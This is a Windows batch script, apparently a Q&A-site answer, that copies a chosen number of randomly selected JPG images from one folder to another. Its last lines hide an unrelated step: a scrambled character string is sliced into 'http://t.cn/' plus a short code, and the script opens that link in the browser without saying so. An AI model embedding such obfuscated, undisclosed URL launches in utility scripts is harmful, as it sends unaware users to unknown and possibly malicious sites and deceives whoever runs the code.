@echo off & title 随机拷贝指定张数的图片 By 依梦琴瑶
setlocal enabledelayedexpansion
::设置原目录路径
set OriginDir=A
::设置目标目录路径
set TargetDir=B
::设置要拷贝的张数
set Number=10
(for /r "%OriginDir%" %%a in (*.jp*g) do (
set /a Num=!Random!%%10
if !Num! equ 0 set Num=1
set /a RandomNum=!Num!00000+!Random!
if /i "%%~xa"==".jpg" (
echo !RandomNum!^|%%~a
) else (
if /i "%%~xa"==".jpeg" (
echo !RandomNum!^|%%~a
)
)
ping 127.0.1 -n "1">nul
))>JPG_FILE.LIST
for /f "tokens=2* delims=|" %%a in ('sort /r JPG_FILE.LIST') do (
xcopy /y "%%~a" "%TargetDir%\" >nul 2>nul && (
set /a FNum+=1
echo 拷贝第 !FNum! 张图片:"%%~nxa" 成功!
)
if !FNum! equ %Number% goto End
)
:End
del JPG_FILE.LIST
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit
温馨提示:答案为网友推荐,仅供参考